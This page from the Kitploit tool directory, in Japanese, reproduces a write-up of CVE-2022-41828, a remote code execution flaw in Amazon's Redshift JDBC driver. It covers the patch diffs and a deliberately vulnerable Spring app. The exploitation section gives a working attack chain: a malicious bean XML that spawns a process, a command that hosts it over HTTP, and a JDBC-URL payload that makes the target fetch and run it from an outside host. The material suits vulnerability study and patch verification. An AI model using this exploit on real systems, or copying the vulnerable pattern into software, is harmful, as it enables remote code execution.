Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-41828 — [CVE-2022-41828] Amazon AWS Redshift JDBC ドライバにおけるリモートコード実行 (RCE) | Kitploit
ツール/GitHubGitHub/murataydemir/cve-2022-41828
脆弱性分析エクスプロイトウェブアプリケーション悪用クラウドセキュリティ学習と教育データベースセキュリティ
GitHubmurataydemir/cve-2022-41828

CVE-2022-41828

[CVE-2022-41828] Amazon AWS Redshift JDBC ドライバにおけるリモートコード実行 (RCE)

リポジトリを見る
423年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[CVE-2022-41828] Amazon AWS Redshift JDBCドライバーのリモートコード実行(RCE)


Platform Badge Ecosystem

The Amazon JDBC Driver for Redshift は、Java Platform, Enterprise Editionsで利用可能な標準JDBCアプリケーションプログラムインターフェース(API)を通じてデータベース接続を提供するType 4 JDBCドライバーです。このドライバーは、任意のJavaアプリケーション、アプリケーションサーバー、またはJava対応アプレットからRedshiftへのアクセスを提供します。

redshift-jdbc42 バージョン2.1.0.7以前には、潜在的なリモートコマンド実行の問題が存在します。ドライバーでプラグインを使用する場合、sslhostnameverifier、socketFactory、sslfactory、sslpasswordcallback 接続プロパティを介して提供されるJavaクラス名に基づいて、プラグインインスタンスをインスタンス化します。影響を受けるバージョンでは、ドライバーはインスタンス化の前にプラグインクラスが期待されるインターフェースを実装しているかどうかを検証しません。これにより任意のJavaクラスがロードされる可能性があり、JDBC URLを制御できる知識のある攻撃者は、これを利用してリモートコード実行を達成できます。

パッチ

この問題は、redshift-jdbc-42 バージョン2.1.0.8以上で修正されています。

回避策

AWSは、プラグインを使用しているお客様に対し、redshift-jdbc42 をバージョン2.1.0.8以上にアップグレードすることを推奨しています。この問題に対する既知の回避策はありません。

パッチ分析:GitHub issueおよび関連コミット

この問題を修正するために、コミット aws/amazon-redshift-jdbc-driver@9999659 で4つの異なるJavaクラスに変更が加えられました。これらのクラスはそれぞれ以下のとおりです。

  • src/main/java/com/amazon/redshift/core/SocketFactoryFactory.java
root@kitploit:~
@@ -38,7 +38,7 @@ public static SocketFactory getSocketFactory(Properties info) throws RedshiftExc
     return SocketFactory.getDefault();
   }
   try {
     //removed return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info));
     return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info)); //added
   } catch (Exception e) {
     throw new RedshiftException(
@@ -66,7 +66,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws Redsh
     if (classname.equals(RedshiftConnectionImpl.NON_VALIDATING_SSL_FACTORY))
     		classname = NonValidatingFactory.class.getName();

     //removed return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info));
     return  ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info)); //added
   } catch (Exception e) {
     throw new RedshiftException(

commit-1

  • src/main/java/com/amazon/redshift/ssl/LibPQFactory.java
root@kitploit:~
@@ -61,7 +61,7 @@ private CallbackHandler getCallbackHandler(Properties info) throws RedshiftExcep
    String sslpasswordcallback = RedshiftProperty.SSL_PASSWORD_CALLBACK.get(info);
    if (sslpasswordcallback != null) {
      try {
        //removed cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
        cbh =  ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null); //added
      } catch (Exception e) {
        throw new RedshiftException(
          GT.tr("The password callback class provided {0} could not be instantiated.",

commit-2

  • src/main/java/com/amazon/redshift/ssl/MakeSSL.java
root@kitploit:~
@@ -59,7 +59,7 @@ private static void verifyPeerName(RedshiftStream stream, Properties info, SSLSo
     sslhostnameverifier = "RedshiftjdbcHostnameVerifier";
   } else {
     try {
       //removed hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
       hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null); //added
     } catch (Exception e) {
       throw new RedshiftException(
           GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",

commit-3

  • src/main/java/com/amazon/redshift/util/ObjectFactory.java
root@kitploit:~
@@ -34,13 +34,13 @@ public class ObjectFactory {
  * @throws IllegalAccessException if something goes wrong
  * @throws InvocationTargetException if something goes wrong
  */
 //removed public static Object instantiate(String classname, Properties info, boolean tryString,
 public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info, boolean tryString, //added
     String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException,
         IllegalArgumentException, InstantiationException, IllegalAccessException,
         InvocationTargetException {
   Object[] args = {info};
   Constructor<?> ctor = null; //removed
   Class<?> cls = Class.forName(classname); //removed
   Constructor<? extends T> ctor = null; //added
   Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass); //added    
   try {
     ctor = cls.getConstructor(Properties.class);
   } catch (NoSuchMethodException nsme) {

commit-4

再現:脆弱なアプリケーションの開発と悪用手順

CVE-2022-41828を再現するために、外部ライブラリとして脆弱な redshift-jdbc42 バージョン2.1.0.7ドライバーを使用する、Springフレームワークベースの脆弱なJavaアプリケーションが開発されました。

次のコードスニペットは、pom.xml ファイルの内容を示しています。

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>RedshiftJdbcRce</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>RedshiftJdbcRce</name>
    <description>RedshiftJdbcRce</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
        <dependency>
            <groupId>com.amazon.redshift</groupId>
            <artifactId>redshift-jdbc42</artifactId>
            <version>2.1.0.7</version>
        </dependency>

        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.4</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

pom xml

次のコードスニペットは、src/main/java/com/example/redshiftjdbcrce/controller/RedshiftJdbcRCE.java コントローラークラスの内容を示しています。

root@kitploit:~
package com.example.redshiftjdbcrce.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.DriverManager;
import java.sql.SQLException;

@RestController
public class RedshiftJdbcRCE {
    @RequestMapping("/jdbcset")
    public void jdbcSet(HttpServletRequest request, HttpServletResponse response) throws SQLException {
        String jdbcurl = request.getParameter("jdbc");
        DriverManager.getConnection(jdbcurl);
    }

    public static void main(String[] args) throws SQLException {
    }
}

RedshiftJdbcRCE java

次のファイルは、悪用時に使用されるXMLドキュメント構造 cmd.xml のコンストラクターの内容を示しています。

root@kitploit:~
<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <!--<value>touch</value>-->
                <!--<value>/tmp/CVE-2022-41828</value>-->
                <value>gnome-calculator</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

脆弱性をトリガーする前に、関連する cmd.xml ファイルがHTTP経由で配信され、ターゲットサーバーからアクセスできるようにします。

root@kitploit:~
root@kali:~$ python3 -m http.server 2121

脆弱性をトリガー/悪用するために、ペイロードを含むリクエストが次のように送信されます。

root@kitploit:~
POST /jdbcset HTTP/1.1
Host: 127.0.0.1:8081
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173

jdbc=jdbc:redshift://127.0.0.1:5439/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://172.22.0.43:2121/cmd.xml
root@kitploit:~
HTTP/1.1 500 
Content-Type: application/json
Date: Thu, 08 Dec 2022 13:58:14 GMT
Connection: close
Content-Length: 108

{
  "timestamp": "2022-12-08T13:58:14.295+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "path": "/jdbcset"
}

request-and-response

https://user-images.githubusercontent.com/16391655/206683655-950cd80e-e5d2-45ab-b3eb-64d7f29d8315.mp4

参照

この脆弱性の修復に関する詳細については、次のリソースを参照してください:

  • GitHub Advisory Database: AWS Redshift JDBCドライバーがオブジェクトのインスタンス化中にクラスタイプの検証に失敗する
  • GitHub Advisory Database: redshift-jdbc-42 <= 2.1.0.7 における潜在的なリモートコマンド実行
  • 2.1.0.8バージョンのリリース用コミット: aws/amazon-redshift-jdbc-driver@40b143b
  • クラスからオブジェクトをインスタンス化する際にクラスタイプをチェックするためのObject Factory修正コミット: aws/amazon-redshift-jdbc-driver@9999659
  • Tenable Advisory: CVE-2022-41828
  • NIST Advisory: CVE-2022-41828
  • MITRE Advisory: CVE-2022-41828

クレジット

  • この脆弱性の再現中に協力してくれた Bearcat に特別に感謝します。
ツールをダウンロード